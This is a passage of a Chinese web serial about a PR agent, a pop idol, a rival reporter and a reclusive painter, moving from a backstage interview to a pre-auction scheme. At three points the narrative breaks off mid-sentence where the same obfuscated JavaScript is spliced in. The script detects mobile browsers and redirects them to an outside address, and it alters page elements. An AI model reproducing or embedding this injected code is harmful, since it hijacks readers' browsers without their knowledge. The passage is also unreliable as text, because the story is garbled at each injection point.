桌上乱七八糟堆着许多东西,陶温又是个眼里有活的,在放回杯子时,忍不住随手收拾一二,将周围东倒西歪的物品摆正了。 失去杂物的遮蔽,一部倒扣在桌面上的手机忽然吸引了陶温的目光。 话筒直对着他所在的方向,代表正在通话中的呼吸灯一亮,一灭,闪动着微弱的光芒。 9. 别想赢她 况星宸正在补妆,只顾着欣赏镜子里自己的“绝世美颜”,完全没注意到陶温的动作。 刘哥却因为心虚,一直盯着桌上埋着手机的那堆杂物。此刻见陶温挖出宝藏,他的心都提到了嗓子眼,盘着桃核手串念了几句菩萨保佑,只盼对方不要刨根究底。 陶温果然没有深究,很快就移开了目光,漫不经心地端起另一杯水轻抿几口,随手往桌上放去。 不知是无心还是有意,他手上一滑,杯身一歪,立时打湿了一片桌面。 “不好意思不好意思!水洒出来了,还好手机没湿。” 陶温一边高声致歉,一边迅速拿起杂物旁的手机,翻到正面去看屏幕。 通话界面一闪而过,他还没看清屏幕上显示的联系人姓名和电话号码,就被锁屏界面的自动人脸识别绊住了脚。 其实早在他摆弄杂物发出噪音时,向宁就察觉了异常。听到杯子倒下的声音后,她便猜到这是陶温在出招,于是当机立断,挂掉了电话。 刘哥不明情况,慌忙跑来接过手机,念叨着:“原来放这了啊,我说呢,刚才找了半天都没找到手机。真是多亏你了,记者小哥,谢谢哈。” 点亮屏幕一看,通话已经断了。 因为不知道是哪边挂断的,他心里有些忐忑,于是跑到角落里给向宁打去电话,确认完情况才放心。 “现在怎么办啊?” “别慌,一会记者问什么,你就小声跟我复述一遍。只要耳返还在,就不会出大问题。” 然而墨菲定律作为况星宸工作室的唯一真神,此刻再次发挥了神力。 陶温摆出一副温柔无害的神情,微笑道:“况星宸老师,我刚刚才注意到您戴了耳返,请问方便摘一下吗?” “啊?为什么?”况星宸往沙发深处坐了坐,向刘哥投去求助的目光。 刘哥立马出来解围:“他刚做好造型,频繁摘戴耳返可能会把发型搞乱。还有十几分钟就要开场了,万一出现什么问题,实在来不及处理。” 陶温面露难色,一本正经地胡扯道:“是这样,摄像老师刚才跟我沟通了一下,说况星宸老师的白色耳返是亮面的,拍出来反光非常严重,搞得画面一会过暗,一会过曝。如果一直戴着耳返,今晚拍的这些素材可能就都变成废片了。” 况星宸一听这话,连忙扯下耳返,生怕影响了他的出镜机会。大不了,一会回答问题时多注意点就是了。 向宁听完刘哥的实时转述,用筷子狠狠插了块排骨,嚼得脆骨咔嚓作响。 不错嘛,陶温。这一招就算你追平比分了,但是这一局,你别想赢我。 “你现在就去跟记者说,采访时间已经过半了,希望他能多问点和况星宸本人相关的问题,少问无关人员,这毕竟是况星宸的个人专访。” 刘哥立马跟陶温提了建议,不过调整了语气,表意也更加委婉。 陶温很给面子:“好,我再问一个延伸问题,后面的问题都专注于艺人本身。” 刘哥和况星宸对视一眼,心里藏着同样的担忧——求求了,他可千万别问什么偏题难题怪题啊…… “这个问题,其实算是出于我的一点小私心吧。枕安老师一直十分低调,但是包括我在内的很多小粉丝都在好奇,他究竟长什么样子?” 陶温撒谎的功力不比向宁差,事实上,他只认识美术课本里出现过的画家,才不是枕安的粉丝呢。 “况星宸老师,可以为我们描述一下吗?” 他就赌况星宸连枕安的面都没有见过。既然现在已经摘了耳返,没了外援,那么一定会露出破绽。 “这个……刚才我也说了,枕安老师他……非常注重保护个人隐私……” 况星宸还想用这个理由搪塞,但是在陶温这里,一招鲜从来都不能吃遍天。 “只是文字描述,一千个听众就有一千种理解,应该不算泄露隐私吧?” 况星宸只好用废话拖延时间:“这样啊……你说的很有道理。这个问题,也不是不能回答。但是要怎么回答呢?我还得好好想想,怎么才能在不泄露枕安老师隐私的前提下,给出让他粉丝满意的答案呢。人嘛,都是两条眉毛,两个眼睛,一个鼻子……” “怎么办?怎么办?”刘哥小声催促向宁,“我离他好几米远呢,传不了话!” 向宁决定死马当作活马医:“你就让况星宸照着他自己描述!使劲指他试试?但愿他能看懂。” 枕安本想反驳一句,况星宸哪里像他了?可是一看到向宁愁云满面,焦急蹙眉的样子,就不由自主地把抱怨的话咽回了肚子里。 算了,不给她添乱。 刘哥当即照做,但是手都快指抽筋了,况星宸也没明白他在暗示什么。 “不管用啊!他看不懂!” 向宁头脑风暴一番,急中生智道:“找个化妆镜!冲他脸晃!” 这一招居然十分奏效,况星宸一看到镜子里自己的脸,马上就理解了指令。 “这么说吧!”他忽地翘起二郎腿,往沙发背上靠去,“枕安老师的长相,就是八个字——超级无敌爆炸帅!” 陶温幽幽道:“这是七个字。” 况星宸愣了一下,嘴硬道:“哈哈,我刚才玩了个小幽默,哈哈。” 陶温追问更详细的描述,况星宸就把他的自恋台词一箩筐全倒了出来。 枕安在电话那头越听脸色越差,向宁在一旁揶揄道:“怎么了,听人夸你还不高兴啊?” 枕安心如死灰地摇摇头:“我是怕他粉丝嗑我和他的cp……” 向宁见自己先前的玩笑话给他留下心理阴影了,便宽慰道:“放心啦,这个问题明显是记者给他挖的陷阱,不会真被剪进成片里的。” 枕安并不了解这些弯弯绕绕,疑惑地问:“嗯?你怎么知道?” 向宁思索一二,故作神秘状,让他附耳过来,却仍旧道出那个不正经的答案:“因为……我有读心术。” 枕安笑着叹了口气,一手托腮看向她:“那你能读出我现在想说什么吗?” “当然,两个字嘛。”向宁模仿着他托腮的动作,歪头笑道,“骗子。” 休息室里,陶温听完况星宸夸人亦是自夸的溢美之词,终于按照之前的约定问起了老掉牙的三件套——心路历程、自我评价、未来展望。问题和答案都是又无聊又安全。 刘哥长出一口气,省下了一颗降压药。向宁却怎么听怎么觉得,陶温有点消极抵抗的意思。 后半场采访的进度极快,提前几分钟就结束了。 陶温收起话筒,跟况星宸握了握手,笑容可掬道:“谢谢配合。您都是顶流偶像了,还这么有亲和力,完全没有耍大牌,真是难得。” 况星宸被吹捧得有些飘飘然,故作谦虚道:“过奖过奖!” 他在这方面可精着呢。 对没背景的小娱记耍耍大牌也就算了,只要别慢待了官媒的正经记者就行。上一个因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458889|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为耍大牌、放鸽子得罪了官媒的明星是怎么凉的,他可是记得一清二楚。 “对了,您刚才说,枕安老师把《回忆余烬》送给您了,是吗?”陶温一脸认真。 “啊?是的,是的。”况星宸急于自证,主动提议道,“你想看看原件吗?我可以让助理现在就送来。” “不用了。” 陶温心里清楚,既然向宁敢让况星宸这样回答,那么这幅画目前肯定在他们手上,没法借此抓到他撒谎的证据。 “我只是在想,既然枕安老师愿意把这么重要的作品送给您,你们的关系一定很好吧!”陶温继续表演。 况星宸已经被架上了高台,肯定不会否认:“那是当然,我们差不多算是好朋友了!” 陶温意味深长地一笑:“正好,我过几天要去采访他,可以从另一个角度了解你们的友情,您的专访内容也会更丰富的。” “什么?” 况星宸和向宁异口同声,枕安本人也颇感意外,无辜地摇摇头,与向宁对视道:“我不知道有什么采访,记者应该是在吓唬他吧?” “时间差不多了,”陶温看一眼手表,招呼台里的同事离开休息室,“您也该候场了,况星宸老师。” 在工作人员的催促下,况星宸迈着虚浮的脚步赶赴上场口,期间再三叮嘱刘哥,一定要让向宁和枕安谈好条件,统一口径,否则他就要沦为小丑了。 向宁这时正收拾东西准备离开,犹豫着开口商量道:“如果这段时间有记者联系你……” “我会拒绝采访的。” “谢谢。” 枕安摇摇头表示不用谢:“我本来就不喜欢和陌生人接触,就算没有这档事,也不会接受采访的。” 向宁回以一笑,细琢磨起来却觉得这理由讲不通——几个小时前,自己对枕安而言不也是陌生人么,他不是照样同意见面了? 再想一想,又觉得能把逻辑圆回来——也许是祝璋的面子大,自己沾了她的光吧。 二人告别时,向宁约好了周末上门还画。 枕安靠在楼梯扶手边,目送着她一步步离开,直到渐远的脚步声彻底消失。 回到家里,他将一只刚开封不久的醋瓶藏进橱柜深处。 再走进冷清的画室,闹钟的机械音已经响了许久。 枕安拨开地上杂乱的画布堆,面无表情地关掉闹钟。他知道,该吃药了。 可他却没有动作。 在画布堆里躺了许久,直到干透的颜料在耳畔发出细微的碎裂声,他才终于有力气坐了起来。 大脑放空许久,他忽然决定发一条短信,于是昏昏沉沉地摸出手机,通讯录里只有两个联系人——祝璋姐,裴医生。 在输入框里删删改改,枕安最终还是放弃了解释事情的来龙去脉,只说结论。 “祝璋姐,下周要上拍的那幅画也不用给我分账,就当我为这次搅局道歉了。” 枕安知道自己今晚的任性举动惹恼了祝璋,可是他有必须这么做的理由。 点开通话记录,他把向宁的手机号存为第三位联系人。 不多时,祝璋打来电话,开口便问:“她走了?” “嗯。” 祝璋叹了口气:“现在有时间细说了吧?你和这位向宁小姐,究竟有什么渊源?” 枕安推开椅子,坐在飘窗上,大理石台面带着浓重的凉意。 窗外的夜空很陌生。 能看见星星。 10. 看在猫的面子上 麦秋在餐馆门口和向宁汇合,还没上车就兴致勃勃地问起了今晚的采访情况。听到化妆镜那一节,竟险些笑岔了气。 上车后好不容易笑过了劲,向宁马上交给她一个重要的任务。 “把这幅画保护好,千万别有什么磕碰。这要是剐了蹭了的,我可赔不起。” “好嘞!” 麦秋小心翼翼地把画框抱在怀里,找相关的话题聊起闲天来:“向宁姐,我好像猜到祝璋为什么说这幅画是枕安最看重的作品,没有之一了!” “哦?怎么说?”向宁来了兴致。 枕安这么轻易就把画借了出去,她还以为祝璋给的情报又不准了呢。 “你还记得有批评家说枕安的作品和一位外国画家风格相似吗?”麦秋问。 “记得有这么一回事,不记得是哪位画家了,外国人名字实在太长。怎么突然问这个?” 麦秋一边回忆一边回答:“我刚才又搜了搜网上的资讯,这才知道,原来枕安不仅仅是作品画风像她。” “还有哪里像?” “那位外国画家是知名的‘猫猫教教徒’,平生最爱画猫,极少画人。” “这么说,枕安也是?” 麦秋不再卖关子:“嗯哼!他公开展出过的所有作品里,绝大多数画的都是猫,极少数是风景画,只有一幅……不,只能算是半幅人像画。” 答案无需多言,就是她怀里这幅《回忆余烬》。 麦秋猜测道:“据我分析,画里的这个女孩一定有现实原型,很有可能是枕安的白月光、朱砂痣什么的!而且你看她穿着中学校服,说不定他们就是中学同学呢?” “有道理,小秋同学最近很有长进嘛。”向宁笑着点点头,忽然想到了什么,便脱口而出,“会是祝璋吗?” 麦秋是实干派,很快就搜到了祝璋出席企业家峰会的宣传照,仔细端详一番后说道:“不像。这幅画虽然没画脸,但是其他地方都很写实。祝璋的脖子侧面有一片很漂亮的胎记,像花瓣似的。如果枕安画的是她,没道理不画这片胎记。” 向宁想了想,说道:“会不会是咱们想多了?也许他就是因为不擅长画人像,所以才很少有公开展出的作品吧?喏,唯一一幅,还没画脸。” “对哦!也有这个可能。”麦秋总是很愿意被向宁说服。 二人有一搭没一搭地聊着八卦,车走在时顺时堵的路上,直到演唱会进程过半才到达场馆门口,刘哥早就收到消息,出来接人了。 来到后台,向宁又恢复了战斗模式。 “新歌还没唱吧?”她问。 “没有,按你的要求改成压轴曲了,还早呢。”刘哥答。 “那就好。”向宁从麦秋手里接过画来,“这幅画是枕安借给咱们的原件,一会况星宸唱新歌的时候,让它在聚光灯下亮个相。当成舞台道具就行,轻拿轻放。” “好,我马上安排。需要况星宸在台上专门解释一下抄袭争议吗?” “不用这么正式,随口提一句这幅画是枕安老师送给他的合作礼物就行,剩下的粉丝自己会脑补。” 刘哥心领神会,拿着画走在前面。 向宁示意麦秋跟上:“今晚你就这一个任务,保护好画,别让它离开你的视线。” “Yes,madam!” 安顿好一切后,向宁打算去员工休息室喘口气,没想到在门口见到了陶温。 过道很窄,他曲着一条腿靠在一侧墙边,低头摆弄着手中的相机,察觉到她走来也没有抬头。 还是那副打扮。 一身收腰的深色西装,从袖扣到皮鞋无一不精致,身后那个硕大的双肩背包却破坏了这份都市精英的氛围感。 “我同事不是说你们台的人都走了吗,这怎么还有条漏网之鱼呢?”向宁不客气地拿过相机看了看,小声揶揄道,“都没开机,别凹造型了。” 余光瞥见陶温的小指上戴着一枚戒指。 那本是他送给她的纪念日礼物,分手那天她还了回去,没想到他还留着。看来是戴在其他手指上都有点紧,只能当成尾戒了。 陶温听向宁主动搭了话,这才抬头看她。目光定格在那双他永远读不懂的眼睛上,忽有片刻失神,不过很快就调整好了状态。 他拿回自己的相机准备收进包里,有意无意道:“我还以为你这辈子都不会主动跟我讲话呢。” 向宁靠在他对面的墙上,抱臂抬头道:“少揣测圣意了,有本启奏,无本退朝。” 陶温只跨一步就换了边,靠在向宁身旁的墙壁上。 “无本,只是想跟你知会一声,”他偏头去观察她的反应,“今晚的采访内容里,所有和枕安相关的部分,我都不打算放进成片里。” 至于合理的借口,他也早用耳返反光的瞎话铺垫好了。 向宁侧过身倚在墙边,打趣道:“怎么,嫌况星宸答得不好?” 陶温冷笑一声,躲开她的目光:“你教得很好,所以我才要剪掉那些内容。否则,不是用我们台的公信力帮他背书了吗?” 向宁凑近他半步,疑惑问道:“他的专访真能在你们台播吗?我怎么觉得不太够格呢?” “当然不够格。”陶温也悄悄凑近半步,只是仍然别扭地不去看她,“是要发在我们公众号的每日推送里。末篇,默认被折叠进去的那种。” 哦。 这就合理多了。 “没事,只要和你们台这块金字招牌沾点亲带点故,就够他粉丝高兴好几天了。” 陶温没好气道:“你成心气我是吧?” 向宁最喜欢逗人,于是故意回怼道:“那你怎么还没被气走呢?” 陶温重重呼出一口气,转身便走。 向宁望着那个气呼呼的背影数步子,才数到7,他就走了回头路。 “有本启奏?”她笑意盈盈地问。 陶温没接话,只从背包里拎出一个满满当当的纸袋,直接塞进向宁手里。 “这个你拿着。” 袋子很沉,向宁下意识就要推拒:“你这算什么……” “不是给你的。”陶温皱起眉,看着很是严肃,“给孩子的。” 向宁打开纸袋,原来里面整整齐齐装着许多猫罐头。 “咱……”陶温磕巴一下,很有自知之明地换了措辞,“你闺女喜欢吃这个牌子的罐头。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458890|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完还不忘补上一句吐槽:“快一岁了,连个大名都没有,你就叫人家‘猫猫’,我都替孩子委屈。” “有大名啊!它本来就是猫,姓猫,叫猫,不是天经地义吗?”向宁反驳完,又把纸袋递回给陶温,“至于这些,你要不还是拿回去退了吧。” 陶温向后躲开她的动作,无奈道:“你就这么烦我啊?” “也不是,主要这东西挺贵的……” 她知道,陶温他们单位虽然看着光鲜亮丽,名头也挺唬人,实际到手工资并不算高。在这寸土寸金的地界,根本存不下多少钱。 “不想欠我人情啊?”陶温微微向前倾身,“那好办,你请我吃顿饭,咱们就算两清了。” “我没有——” “知道,你没有和前男友一起吃饭的习惯,我耳朵都要听出茧子了。” “才听两遍就起茧子,那你的耳根子也太嫩了点。”向宁调侃完正色道,“换个条件。” “没什么可换的。” “没有就现想一个。”向宁态度坚决,“三分钟,想不到的话,这礼我就心安理得地收下了,以后你也别提这份人情。” 陶温只得重新思考。 其实他很快就想到答案了,只是因为想和她多待一会,才慢吞吞拖了许久,卡着倒计时的拍子开口道:“想到一个,就怕你不答应。” “你不说怎么知道我不答应?” 既然话已经说到这个份上,陶温也不再玩推拉游戏了。 “我想拜访一个人,不知道你愿不愿意帮忙牵线。” “谁?” “枕安。” 听到这个名字,向宁不由警惕起来,难道他还惦记着要戳穿况星宸的谎言吗? 陶温解释道:“我之前说我们台要做一个青年艺术家的专题节目,这是真事。组长给我列了个单子,上面的其他人我都约好了,唯独这位枕安老师,我问了圈内的很多朋友都联系不上他。这段时间我正头疼呢,没想到居然这么巧,在你身上找到突破口了。” 向宁摇摇头:“找我也没用,他不喜欢接受采访。” 陶温见她说得笃定,好像与那人十分相熟似的,便下意识有些吃味:“我就说你不会答应……算了。” 他心里堵着气,头也不回地走了。 向宁低头瞥了一眼纸袋里的罐头,轻叹一声。 好吧,就当是看在猫猫的面子上,这周末帮他问一句吧。 后半场演唱会一切顺利,向宁回到家时,超话里的风向已经变成了“况星宸清清白白大男孩”、“又是挡了谁的路”、“清者自清,造谣者孽力回馈”、“你可以永远相信况星宸”等等。热搜词条也被粉丝和水军一起洗了个干净。 向宁给猫猫开了个罐头,托着腮趴在床上看完了它的整场“吃播”,越看越饿。 打十六岁起就没再做过饭,她的手艺早退步了,眼下又不想等外卖,只得煮了些速冻饺子。 这玩意也挺神奇的,煮熟了闻着倒是很香,吃进嘴里却越嚼越没味。 吃到第三口,向宁就默默下定了决心—— 周末早点去枕安家吧。 说不定还能蹭顿饭。 11. 她的读心术不准 周六中午,向宁是被猫猫舔醒的。 脸上一股猫粮味,洗了两遍都不确定有没有完全祛除,也许是心理作用。 眼瞅着已经错过了饭点,向宁只好随便用水果面包垫垫肚子。 借来的画在自家放了几天,搞得她提心吊胆的,今天终于可以物归原主了。 枕安家楼下就有超市,最贵的醋也要不了多少钱,向宁索性多买了几瓶一起带上楼去。 枕安画了许久的画,没注意时间,也错过了午饭,直到向宁上门才想起这一茬。 “你吃过饭了吗?”他锁上画室,带着向宁进了对门房间,“如果还没有,就留下一起吃吧。” 没想到蹭饭计划歪打正着,向宁笑道:“那我就不跟你假客气啦。” 前几天那盘速冻饺子可把她膈应坏了,非得吃点好的补一补才行。 “想吃什么?”枕安一边系围裙一边问道。 “都行。”毕竟是来蹭饭的客人,向宁也不好给主人家提什么要求。 枕安正在埋头苦思“都行”一题该作何解,就被向宁的手机铃声打断了解题思路。 那铃声是游戏里的战斗BGM,也是她给陶温新换的专属铃声——既然他现在是文艺频道的记者,以后免不了要和她多交手几次,换个作战音乐比较有氛围感。 向宁走到一边接起电话:“什么事?” “你们公司也太黑了吧!” 一开口语气就这么冲?听上去倒像是来兴师问罪的。 “虽然不知道前因后果,但是这句话也没什么毛病。”向宁饶有兴趣道,“发生什么了?告诉我,说不定我还能陪你骂两句呢。” 陶温没想到她会是这样的态度,这一拳打到棉花上,竟莫名其妙地消了一半的气。 “况星宸的专访视频你看了吗?”他问。 “看了,很无聊,没爆点,也没风险,蛮好的嘛。”向宁随手玩着自己的头发,“所以呢?说重点。” “行,重点就是——”陶温咬牙切齿道,“推送发出去没多久,况星宸有些粉丝就开始嗑我和他的cp。这才一晚上的工夫,不光产出有了,超话建好了,甚至连我的微博评论区都被污染了!你也知道我们单位的性质特殊,我想暗戳戳怼回去都不行,憋屈死了!” “啊?是吗?” 向宁立马用另一个手机搜索他们的名字,发现的确如此,不由打趣道:“嚯,热度最高的这个视频剪得还挺好诶……我之前怎么没发现呢,你看他的眼神都拉丝了。” “糊上一层粉色泡泡滤镜,再把视频放慢那么多倍,我就是看老台长也会眼神拉丝的好吗!?” 向宁噗地笑出了声,故意念出一条令人尴尬的评论:“啊我死了,小陶老师戴上金丝眼镜就是教科书级别的斯文败类吧!纯路人,但是感觉他看况星宸的眼神好有侵略性哦,酱酱酿酿起来一定可以大战八百回合吧!求代餐文!” 陶温连声告饶,向宁却不住口,越往后读就笑得越厉害,连正在厨房里忙活的枕安都抑不住好奇心,探出头来查看情况。 向宁见他感兴趣,便把正在播放cp视频的手机塞给了他。 “废话!”陶温仍在坚持自证清白,“我当时满脑子都想着要找出他的破绽,眼神当然有侵略性啊!” 向宁笑得肚子疼:“跟我解释有什么用?反正粉丝们现在已经认定了——我们宸宸果然是人见人爱的好宝,任你是哪个台的记者,都要拜倒在万人迷的石榴裙下!” “别恶心我,算我求你。”陶温听起来真的要干呕了。 向宁看够了笑话,见好就收,安慰道:“放心啦,这种热度来得快,去得也快,没有长性的。她们又不可能真的相信你对况星宸一见钟情,原地变弯。之所以强行拉郎,只不过是想蹭一蹭你的职业光环,给他脸上贴金罢了。何况这种cp大多是粉圈自嗨,没有路人愿意嗑,不会对你的荧幕形象有什么负面影响的。” “但愿吧……”陶温有气无力道,“这个cp炒得莫名其妙,除了粉丝以外,你们公司也在背后出力了吧?” “不太清楚,应该没有吧。”向宁直言道,“说实话,有粉丝自发冲在前面排兵布阵,我们公司真犯不上花这个钱,费这个事。” “真不是你干的?” “怎么感觉你听起来还有点失望呢?” “当然失望了!”陶温长叹一声,“我本来想着,如果是你出的损招,我就能以此为由提出补偿方案,让你帮忙引荐一下枕安老师呢。反正已经被人利用了,总不能彻底吃个哑巴亏吧?” 向宁扭头去看枕安,他仍在翻阅超话里的帖子,表情不像单纯的“大开眼界”,似乎还有几分后怕。 嗯,倒也合理。 毕竟从某种层面上讲,陶温也算帮他挡了一灾。 “行了,别在我面前玩这套以退为进。”向宁收起笑容,“我帮你问问他就是了,等消息吧。” 陶温原地满血复活:“真的!什么时候问?” “现在。” 向宁挂掉电话,清了清嗓子道:“枕安老师,不好意思,打扰一下。” 枕安不明就里地问:“怎么又变得这么客气了?” 向宁熟练地摆出商业假笑:“有求于人,客气点好。” “你还是有话直说吧,”枕安把手机还给她,“现在这样,我不太习惯。” “好呢。”向宁恢复了自然的表情,只是在介绍陶温的身份时停下思考了一瞬,“视频里那个倒霉的记者是我……朋友。他托我问问你,愿不愿意接受他的采访邀约?” 枕安愣了愣,不置可否道:“先吃饭吧。”说完就回厨房忙活了。 向宁跟在他身后慢吞吞地挪着步子:“你说过你不喜欢接受采访,我知道的。可是……” 说到一半,她的手机又响了。 这次是默认铃声,不是别人,正是离她不到两米远的枕安打来的。 向宁拿着手机,和他大眼瞪大眼。 这是……什么意思? 枕安转过身来靠在案台边:“才反应过来,你好像给每个联系人都设置了不同的来电铃声。所以,想给你打个电话看看我的铃声是什么。” 电话尚未接通,默认铃声仍然响着。 枕安耸了耸肩:“原来……我没有这份殊荣啊。” “原来是这样,”向宁挂掉了电话,“这不是因为咱们才认识没多久嘛,我还不太了解你呢,所以一时想不到用什么铃声代表你比较合适。” “那就现在了解,现在想吧。” 他早就捕捉到了向宁介绍陶温身份时的那次停顿,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458891|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是精准复刻了她的语气。 “等你想出合适的答案,我们再来聊聊你……‘朋友’的采访。” 行吧,帮人帮到底,送佛送到西。 向宁一边头脑风暴,一边划拉着歌单,却久久没有头绪,只好上网搜了一份小学生同学录模版,略过个人信息部分,按顺序向枕安问道: “你有什么喜欢的歌吗?” “没有。” “喜欢的电影电视剧?” “没有。” “喜欢的明星?” “没有。” “座右铭?” “没有。” 一连问了七八个问题,答案都是“没有”。 直至被问到模板里的最后一个问题——你的梦想是什么?枕安才终于有了些不一样的反应,睫毛微微颤动起来。 他知道此刻应该将不合时宜的倾诉欲全部扼杀,尽量让自己看上去平静一点,再平静一点。 “已经实现了,”他的语气无比平淡,“我的梦想。” 向宁没有得到满意的答案,闷闷道:“你这是答非所问……” “你不是有读心术吗?”枕安故意揶揄她。 向宁平时并不吃激将法,今天却难得被勾起了胜负欲,猜测道:“你的梦想是——成为画家吗?” “不是。” 向宁以己度人,报出了第二种答案:“是赚大钱吗?” “不是。” “是身体健康,万事如意吗?” “不是。” “是找到soulmate吗?” “不是。” 向宁极力发挥自己的想象力,又挖掘出了几种答案,却通通被否决。 “你的读心术不准。”枕安无意识放松了表情管理,渐渐藏不住笑容。 早就跟你承认过我是骗子了! 向宁本想这样回击一句,却被枕安抢了先。 “我答应接受采访。”声音很轻,语气却是郑重的。 这么容易就成功了? 向宁有点不敢置信。 他不是亲口说过不喜欢接受采访的吗? 枕安像是读懂了她的疑惑,于是将问题反抛回去。 “祝璋姐应该跟你说过‘枕安脾气很怪’之类的话吧?” 向宁仔细回忆况星宸转述的内容,好像确实有这么一句。 “她说得对,我就是怪脾气。”枕安没有表情,语气也十分平淡,“昨天不喜欢接受采访,也许明天就喜欢了。今天懒得出门,也许后天就不懒了。” 是这样吗? 在和枕安面对面交流以前,向宁还以为“脾气怪”指的是他很难相处呢。 可是现在看来,他的“怪”反而有点给瞌睡虫送枕头的意味。 向宁不禁开起玩笑来:“真希望以后的每个合作对象都能学学你的怪脾气。” 枕安微微收敛了笑容,心道她这话说得未免太早。 “我的话还没说完呢,接受采访可以,不过是有条件的。” “什么条件?” 枕安直视着她的双眼思索片刻,故作满不在乎地耸了耸肩。 “怪人很饿,决定先吃饭,再谈条件。” 至于她的那位“朋友”嘛……就多点耐心,再等等吧。 13. 拍卖局中局 拍卖会当日,况星宸带着经纪人刘哥、助理小杨,和向宁一起坐车前往会场,一路上紧锣密鼓地布置着任务。 “小杨,你负责把我参与竞拍的过程完整录下来。不用拍得太专业,但是画面一定要好看,着重突出我和这种高大上场合完美融合的气质,懂吗?” “懂。” “刘哥,拍卖会结束以后,肯定有很多娱记争着要来采访我,你就负责帮我对接一下,曝光度高的平台通通往前排!” “知道了,放心吧。” “向宁,你就负责帮我回答记者的问题。”况星宸把葡萄大小的收音麦别在衣领上,戴上迷你蓝牙耳机,“用这个唱双簧,比耳返方便多了。” 向宁帮他给收音麦换了个位置,藏在衣领内侧。 “这不难,可你总得给我交个实底吧?” 她到现在都不知道况星宸来参加拍卖会的目的是什么,又怎么能预判娱记的采访思路,帮他提前准备答案呢? “实底就是——” 况星宸故意拉长声音,向前倾身,直到成功惹得急性子的向宁拍了他一巴掌,他才心满意足地佯装吃痛,捂着膝盖回答了问题。 “我打算假装拍一幅画。” “假装?” “啧,这都不懂。”况星宸翘起二郎腿,“就是连续出价,但是最后被别人截胡。” “这么做有什么收益吗?” 况星宸难得有一次为向宁解惑的机会,不禁洋洋自得起来:“不但有收益,而且是一石二——不,三只鸟!” 向宁不敢太乐观,蹙眉道:“先说第一只。” “你想啊,别人参与竞投,要么电话委托,要么网络委托,要么让助理来现场,很少有亲自出席的。我呢?百忙之中还要抽出时间亲自走一趟,不正说明我对艺术的热爱无比真诚嘛!”况星宸挑起眉毛发出一声清脆的弹舌音,“人设立稳,计划通!” 向宁不以为然:“热爱艺术?谁家正经人参加拍卖会还自带摄影师啊?” 况星宸一撇嘴,苦脸道:“您老人家能有一次,不,一分钟,不,一句话,是不和我唱反调的吗?” “行行行,你接着说,第二只鸟。” 况星宸整理好表情,眼角眉梢又露出得意的样子来:“我拍不到想要的画,会表现得很失落。等娱记来采访的时候,你就帮我想好话术,暗示我是因为坚持做原创音乐,太烧钱了,所以最后一哆嗦时没舍得加价,才让别人截胡了。” 向宁听懂了他的第二层意思,估计是想让粉丝心疼他,暗地里集资给新专辑冲销量吧。 况星宸接着说:“至于第三只鸟嘛……我假装要拍的那幅画的作者呢,不是别人,正是枕安。我演这么一出,顺便也能让更多人相信之前咱们洗白抄袭那件事的说辞。” 向宁忍了忍,把唱反调的话咽了回去,只在心里吐槽道:事情明明已经遮掩过去了,还要再往上打补丁,不是更显得做贼心虚嘛…… “行,挺好的。我就一个问题,不算唱反调,能问吗?” 况星宸点点头。 “你怎么能确保最终有人比你出价高,不让你误拍到那副画?” “啧,这都不懂!”况星宸过足了传道解惑的瘾,现学现卖道,“很多作品上拍之前啊,有意向参与竞拍的人都是会私下拉群的。大家各自聊一聊心理价位,早就把底摸清楚了。” 向宁含着“恍然大悟”的微笑腹诽道:拉群?摸底?说得像模像样,不知道的还以为你要花几千万拍梵高莫奈的画呢! “所以,群里有几个人,最高的心理价位是多少?”她问。 “也就七八个人吧,最高115万。” 向宁一惊:“多少?” 115万? “我记得枕安的作品最高一次也只卖了五十来万吧,这次这幅画有什么特别的,竟然直接翻了一番?还有零有整的。” 况星宸的神情略显不屑:“能有什么特别的,碰上冤大头买主了呗!哈巴狗似的,为了巴结人,也忒舍得本钱了。” 向宁有点听不懂了:“巴结谁?” 况星宸忿忿道:“当然是我女朋友,他的顶头上司,他未来的狗主人咯!” 祝璋? 向宁很快想到,如果祝璋和枕安签了绑定合作,那么他每卖出一幅画,她应该都是能拿到分成的。 而且,分成比例一定不会低。 这样想来,她的下属花高价拍下枕安的画,岂不是在变相行贿吗? 况星宸见向宁的表情变得严肃起来,马上反应过来自己这张棉裤腰大嘴又说错话了,连忙岔开话题。 知道的内情越多,风险越大,向宁自然明白这个道理,于是也不深究他说漏嘴的话,只当自己听不懂。 一行人到达时,拍卖会很快就要开始了。 况星宸身份不够,没有休息室,便直接在会场落了座。 助理小杨已经找到合适的拍摄角度架好了录影设备,刘哥则被指派去和现场的各路记者“联络感情”。 至于向宁,况星宸怕她在会场显眼处待着容易露馅,便让她找个清净、隐蔽、能总览会场全貌的地方做好准备,时刻待命。 